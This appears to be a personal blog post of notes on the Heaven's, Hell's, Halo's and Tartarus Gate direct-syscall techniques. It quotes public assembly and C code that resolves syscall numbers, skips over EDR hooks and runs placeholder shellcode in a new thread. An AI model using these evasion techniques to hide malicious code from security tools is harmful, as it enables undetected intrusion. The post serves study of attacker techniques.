Home Malware Analysis Vulpes About

Gatekeeping SysCalls

Table of Contents

Introduction

Over the years, SysCalls has became significantly more important. And over those years, multiple techniques have spawned with the naming scheme of:

something biblical + Gate

As of writing this, there are four techniques that I am aware of. So, my this post is a glorified note containing an explanation of each. No original code, just notes on the techniques.

Heavens Gate

The long and short of Heavens Gate is that it allows WOW64 Processes to execute 64-bit SysCalls. Originally, I was going to summarise this component in a similar fashion to the others in this post. However, Closing “Heaven’s Gate” by Alex Ionescu is too good to not read. The following is a quote from that blog:

Heaven’s Gate, then, refers to subverting the fact that a 64-bit NTDLL exists (and a 64-bit heap, PEB and TEB), and manually jumping into the long-mode code segment without having to issue a system call and being subjected to the code flow that WoW64 will attempt to enforce. In other words, it gives one the ability to create “naked” 64-bit code, which will be able to run covertly, including issuing system calls, without the majority of products able to intercept and/or introspect its execution

Hells Gate

Hells Gate was developed by smelly__vx and am0nsec, along with code and a whitepaper. Hells Gate is an adaption of Heavens Gate, which was originally designed to execute 32-bit code from a 64-bit process.

The main problem they identified with tools such as SysWhispers(1) was that it relied heavily on hard-coded SysCalls which is based on Windows X86-64 System Call Table (XP/2003/Vista/2008/7/2012/8/10), as seen below:

.code

NtAllocateVirtualMemory PROC
    mov rax, gs:[60h]                             ; Load PEB into RAX.
NtAllocateVirtualMemory_Check_X_X_XXXX:               ; Check major version.
    cmp dword ptr [rax+118h], 5
    je  NtAllocateVirtualMemory_SystemCall_5_X_XXXX
    cmp dword ptr [rax+118h], 6
    je  NtAllocateVirtualMemory_Check_6_X_XXXX
    cmp dword ptr [rax+118h], 10
    je  NtAllocateVirtualMemory_Check_10_0_XXXX
    jmp NtAllocateVirtualMemory_SystemCall_Unknown
NtAllocateVirtualMemory_Check_6_X_XXXX:               ; Check minor version for Windows Vista/7/8.
    cmp dword ptr [rax+11ch], 0
    je  NtAllocateVirtualMemory_Check_6_0_XXXX
    cmp dword ptr [rax+11ch], 1
    je  NtAllocateVirtualMemory_Check_6_1_XXXX
    cmp dword ptr [rax+11ch], 2
    je  NtAllocateVirtualMemory_SystemCall_6_2_XXXX
    cmp dword ptr [rax+11ch], 3
    je  NtAllocateVirtualMemory_SystemCall_6_3_XXXX
    jmp NtAllocateVirtualMemory_SystemCall_Unknown
NtAllocateVirtualMemory_Check_6_0_XXXX:               ; Check build number for Windows Vista.
    cmp word ptr [rax+120h], 6000
    je  NtAllocateVirtualMemory_SystemCall_6_0_6000
    cmp word ptr [rax+120h], 6001
    je  NtAllocateVirtualMemory_SystemCall_6_0_6001
    cmp word ptr [rax+120h], 6002
    je  NtAllocateVirtualMemory_SystemCall_6_0_6002
    jmp NtAllocateVirtualMemory_SystemCall_Unknown
NtAllocateVirtualMemory_Check_6_1_XXXX:               ; Check build number for Windows 7.
    cmp word ptr [rax+120h], 7600
    je  NtAllocateVirtualMemory_SystemCall_6_1_7600
    cmp word ptr [rax+120h], 7601
    je  NtAllocateVirtualMemory_SystemCall_6_1_7601
    jmp NtAllocateVirtualMemory_SystemCall_Unknown
NtAllocateVirtualMemory_Check_10_0_XXXX:              ; Check build number for Windows 10.
    cmp word ptr [rax+120h], 10240
    je  NtAllocateVirtualMemory_SystemCall_10_0_10240
    cmp word ptr [rax+120h], 10586
    je  NtAllocateVirtualMemory_SystemCall_10_0_10586
    cmp word ptr [rax+120h], 14393
    je  NtAllocateVirtualMemory_SystemCall_10_0_14393
    cmp word ptr [rax+120h], 15063
    je  NtAllocateVirtualMemory_SystemCall_10_0_15063
    cmp word ptr [rax+120h], 16299
    je  NtAllocateVirtualMemory_SystemCall_10_0_16299
    cmp word ptr [rax+120h], 17134
    je  NtAllocateVirtualMemory_SystemCall_10_0_17134
    cmp word ptr [rax+120h], 17763
    je  NtAllocateVirtualMemory_SystemCall_10_0_17763
    cmp word ptr [rax+120h], 18362
    je  NtAllocateVirtualMemory_SystemCall_10_0_18362
    cmp word ptr [rax+120h], 18363
    je  NtAllocateVirtualMemory_SystemCall_10_0_18363
    cmp word ptr [rax+120h], 19041
    je  NtAllocateVirtualMemory_SystemCall_10_0_19041
    cmp word ptr [rax+120h], 19042
    je  NtAllocateVirtualMemory_SystemCall_10_0_19042
    cmp word ptr [rax+120h], 19043
    je  NtAllocateVirtualMemory_SystemCall_10_0_19043
    jmp NtAllocateVirtualMemory_SystemCall_Unknown
NtAllocateVirtualMemory_SystemCall_5_X_XXXX:          ; Windows XP and Server 2003
    mov eax, 0015h
    jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_6_0_6000:          ; Windows Vista SP0
    mov eax, 0015h
    jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_6_0_6001:          ; Windows Vista SP1 and Server 2008 SP0
    mov eax, 0015h
    jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_6_0_6002:          ; Windows Vista SP2 and Server 2008 SP2
    mov eax, 0015h
    jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_6_1_7600:          ; Windows 7 SP0
    mov eax, 0015h
    jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_6_1_7601:          ; Windows 7 SP1 and Server 2008 R2 SP0
    mov eax, 0015h
    jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_6_2_XXXX:          ; Windows 8 and Server 2012
    mov eax, 0016h
    jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_6_3_XXXX:          ; Windows 8.1 and Server 2012 R2
    mov eax, 0017h
    jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_10240:        ; Windows 10.0.10240 (1507)
    mov eax, 0018h
    jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_10586:        ; Windows 10.0.10586 (1511)
    mov eax, 0018h
    jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_14393:        ; Windows 10.0.14393 (1607)
    mov eax, 0018h
    jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_15063:        ; Windows 10.0.15063 (1703)
    mov eax, 0018h
    jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_16299:        ; Windows 10.0.16299 (1709)
    mov eax, 0018h
    jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_17134:        ; Windows 10.0.17134 (1803)
    mov eax, 0018h
    jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_17763:        ; Windows 10.0.17763 (1809)
    mov eax, 0018h
    jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_18362:        ; Windows 10.0.18362 (1903)
    mov eax, 0018h
    jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_18363:        ; Windows 10.0.18363 (1909)
    mov eax, 0018h
    jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_19041:        ; Windows 10.0.19041 (2004)
    mov eax, 0018h
    jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_19042:        ; Windows 10.0.19042 (20H2)
    mov eax, 0018h
    jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_19043:        ; Windows 10.0.19043 (21H1)
    mov eax, 0018h
    jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_Unknown:           ; Unknown/unsupported version.
    ret
NtAllocateVirtualMemory_Epilogue:
    mov r10, rcx
    syscall
    ret
NtAllocateVirtualMemory ENDP
end

The sheer size of this shows how inefficient this is. Sometime later, SysWhispers2 was released which reduced the code down to:

.code

EXTERN SW2_GetSyscallNumber: PROC

NtAllocateVirtualMemory PROC
    mov [rsp +8], rcx          ; Save registers.
    mov [rsp+16], rdx
    mov [rsp+24], r8
    mov [rsp+32], r9
    sub rsp, 28h
    mov ecx, 04FDF5971h        ; Load function hash into ECX.
    call SW2_GetSyscallNumber  ; Resolve function hash into syscall number.
    add rsp, 28h
    mov rcx, [rsp +8]          ; Restore registers.
    mov rdx, [rsp+16]
    mov r8, [rsp+24]
    mov r9, [rsp+32]
    mov r10, rcx
    syscall                    ; Invoke system call.
    ret
NtAllocateVirtualMemory ENDP

end

Due to the way this works, its starting to see signatures; more on this later.

So, how is Hells Gate actually used? Instead of having the SysCalls for each function in a .asm file, and then EXTERN functions, it uses a struct called VX_TABLE:

typedef struct _VX_TABLE {
    VX_TABLE_ENTRY NtAllocateVirtualMemory;
    VX_TABLE_ENTRY NtProtectVirtualMemory;
    VX_TABLE_ENTRY NtCreateThreadEx;
    VX_TABLE_ENTRY NtWaitForSingleObject;
} VX_TABLE, * PVX_TABLE;

Each NTAPI Call is a struct called VX_TABLE_ENTRY within the table, which is defined as such:

typedef struct _VX_TABLE_ENTRY {
    PVOID   pAddress;
    DWORD64 dwHash;
    WORD    wSystemCall;
} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;

The project also requires two functions, and one variable from the hellsgate.asm:

; Hell's Gate
; Dynamic system call invocation 
; 
; by smelly__vx (@RtlMateusz) and am0nsec (@am0nsec)

.data
    wSystemCall DWORD 000h

.code 
    HellsGate PROC
        mov wSystemCall, 000h
        mov wSystemCall, ecx
        ret
    HellsGate ENDP

    HellDescent PROC
        mov r10, rcx
        mov eax, wSystemCall

        syscall
        ret
    HellDescent ENDP
end

The whitepaper explains why/how this works:

System calls are defined as type WORD (16 bit unsigned integer) and are stored in the EAX register and executed with the syscall operation (sysenter for x86). These functions within NTDLL.dll all share a similar structure of execution.

Using their example, this can be seen below:

They then explain:

as shown, functions move into the R10 register from the RCX register and then move the system call into EAX.

This matches up to the assembly shipped with the project:

HellsGate PROC
    mov wSystemCall, 000h
    mov wSystemCall, ecx
    ret
HellsGate ENDP

HellDescent PROC
    mov r10, rcx
    mov eax, wSystemCall

    syscall
    ret
HellDescent ENDP

This can all be utilised, as seen in line 166 of main.c:

BOOL Payload(PVX_TABLE pVxTable) {
    NTSTATUS status = 0x00000000;
    char shellcode[] = "\x90\x90\x90\x90\xcc\xcc\xcc\xcc\xc3";

    // Allocate memory for the shellcode
    PVOID lpAddress = NULL;
    SIZE_T sDataSize = sizeof(shellcode);
    HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
    status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);

    // Write Memory
    VxMoveMemory(lpAddress, shellcode, sizeof(shellcode));

    // Change page permissions
    ULONG ulOldProtect = 0;
    HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall);
    status = HellDescent((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect);

    // Create thread
    HANDLE hHostThread = INVALID_HANDLE_VALUE;
    HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
    status = HellDescent(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, NULL, NULL, NULL, NULL);

    // Wait for 1 seconds
    LARGE_INTEGER Timeout;
    Timeout.QuadPart = -10000000;
    HellsGate(pVxTable->NtWaitForSingleObject.wSystemCall);
    status = HellDescent(hHostThread, FALSE, &Timeout);

    return TRUE;
}

For each NTAPI Call, the following events must occur:

HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);
  1. The SysCall is obtained in GetVXTableEntry, this populates the aforementioned struct
  2. HellsGate() is then called which moves the SysCall into ecx:
HellsGate PROC
    mov wSystemCall, 000h
    mov wSystemCall, ecx
    ret
HellsGate ENDP
  1. HellsDescent() is then called which moves the r10 register to the rcx, and then move the system call into eax
HellDescent PROC
    mov r10, rcx
    mov eax, wSystemCall

    syscall
    ret
HellDescent ENDP
  1. The NTAPI is executed.

Halos Gate

Hells Gate is a great project. However, Sektor7 identified a problem with it in Halo's Gate - twin sister of Hell's Gate. The problem:

One limitation of Hell's Gate is that it needs access to a clean ntdll module. Otherwise, it cannot populate needed syscall numbers and eventually fails to deliver Native API calls.

If a hook is placed on a function, and Hells Gate is used, then the hooked call will be used. An explanation from Sektor 7:

A hook on ZwMapViewOfSection is clearly visible (jmp <offset> instruction, instead of mov r10, rcx). But "neighbors" of ZwMapViewOfSection, ZwSetInformationFile and NtAccessCheckAndAuditAlarm are clean and their syscall numbers are 0x27 and 0x29, respectively.

...

It's like a ripple on a lake - you start from the center and move outwards up until you find a clean syscall.

A few people have implemented this:

  1. boku7/AsmHalosGate
  2. boku7/injectEtwBypass
  3. trickster0/TartarusGate

The closest sample relating to the code shown from Sektor7 can be found in trickster0/TartarusGate/blob/master/HellsGate/main.c#L151:

if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {
pVxTableEntry->pAddress = pFunctionAddress;

// First opcodes should be :
//    MOV R10, RCX
//    MOV RAX, <syscall>
if (*((PBYTE)pFunctionAddress) == 0x4c
    && *((PBYTE)pFunctionAddress + 1) == 0x8b
    && *((PBYTE)pFunctionAddress + 2) == 0xd1
    && *((PBYTE)pFunctionAddress + 3) == 0xb8
    && *((PBYTE)pFunctionAddress + 6) == 0x00
    && *((PBYTE)pFunctionAddress + 7) == 0x00) {

    BYTE high = *((PBYTE)pFunctionAddress + 5);
    BYTE low = *((PBYTE)pFunctionAddress + 4);
    pVxTableEntry->wSystemCall = (high << 8) | low;

    return TRUE;
}
 //if hooked check the neighborhood to find clean syscall
if (*((PBYTE)pFunctionAddress) == 0xe9) {
    for (WORD idx = 1; idx <= 500; idx++) {
        // check neighboring syscall down
        if (*((PBYTE)pFunctionAddress + idx * DOWN) == 0x4c
            && *((PBYTE)pFunctionAddress + 1 + idx * DOWN) == 0x8b
            && *((PBYTE)pFunctionAddress + 2 + idx * DOWN) == 0xd1
            && *((PBYTE)pFunctionAddress + 3 + idx * DOWN) == 0xb8
            && *((PBYTE)pFunctionAddress + 6 + idx * DOWN) == 0x00
            && *((PBYTE)pFunctionAddress + 7 + idx * DOWN) == 0x00) {
            BYTE high = *((PBYTE)pFunctionAddress + 5 + idx * DOWN);
            BYTE low = *((PBYTE)pFunctionAddress + 4 + idx * DOWN);
            pVxTableEntry->wSystemCall = (high << 8) | low - idx;

            return TRUE;
        }
        // check neighboring syscall up
        if (*((PBYTE)pFunctionAddress + idx * UP) == 0x4c
            && *((PBYTE)pFunctionAddress + 1 + idx * UP) == 0x8b
            && *((PBYTE)pFunctionAddress + 2 + idx * UP) == 0xd1
            && *((PBYTE)pFunctionAddress + 3 + idx * UP) == 0xb8
            && *((PBYTE)pFunctionAddress + 6 + idx * UP) == 0x00
            && *((PBYTE)pFunctionAddress + 7 + idx * UP) == 0x00) {
            BYTE high = *((PBYTE)pFunctionAddress + 5 + idx * UP);
            BYTE low = *((PBYTE)pFunctionAddress + 4 + idx * UP);
            pVxTableEntry->wSystemCall = (high << 8) | low + idx;

            return TRUE;
        }

    }
    return FALSE;
}

So, the difference between Hells and Halos Gate is simply ensuring that the SysCalls are not hooked.

Tartarus Gate

The latest implementation is Tartarus Gate by trickster0. The difference here:

Hell's Gate evolved to Halo's Gate to bypass EDRs by unhooking some of them and now it turned to Tartarus' Gate to handle even more WINAPI hooking methods.

I have added some more ASM commands just for "obfuscation" for the syscalls.

Hells Gate uses the following assembly functions:

.data
    wSystemCall DWORD 000h

.code 
    HellsGate PROC
        mov wSystemCall, 000h
        mov wSystemCall, ecx
        ret
    HellsGate ENDP

    HellDescent PROC
        mov r10, rcx
        mov eax, wSystemCall

        syscall
        ret
    HellDescent ENDP
end

This has now became:

.data
    wSystemCall DWORD 000h

.code 
    HellsGate PROC
        nop
        mov wSystemCall, 000h
        nop
        mov wSystemCall, ecx
        nop
        ret
    HellsGate ENDP

    HellDescent PROC
        nop
        mov rax, rcx
        nop
        mov r10, rax
        nop
        mov eax, wSystemCall
        nop
        syscall
        ret
    HellDescent ENDP
end

As seen above, HellDescent() has some additional nop and light obfuscation. Furthermore, as shown in Halos Gate, the implementation of Halos Gate has been added: trickster0/TartarusGate/blob/master/HellsGate/main.c#L151.

For a reference, Cracked5pider/KayLdr has implemented this in the form of a Reflective DLL Loader. The core of the SysCall identification is done in https://github.com/Cracked5pider/KaynLdr/blob/main/KaynLdr/src/Syscall.c#L9.

Conclusion

As far as I can tell, these are the only gates I am aware of: Heaven, Hell, Halo, and Tartarus. And in that order, they progressively become more developed. Leaving off with Tartarus, currently, being the most functional.

For more detail, I'd just suggest going to the referenced blogs/projects to get a better understanding of the technique in question, this is just a note to self!